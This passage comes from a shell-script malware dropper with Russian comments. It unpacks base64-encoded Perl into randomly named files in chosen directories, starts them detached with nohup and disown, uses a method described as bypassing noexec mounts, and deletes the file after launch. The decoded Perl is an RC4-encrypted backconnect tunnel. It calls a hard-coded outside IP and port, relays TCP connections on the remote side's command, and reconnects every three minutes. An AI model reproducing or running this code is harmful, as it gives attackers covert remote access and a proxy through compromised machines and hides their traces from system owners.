kJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_e66227d3() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODgnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAo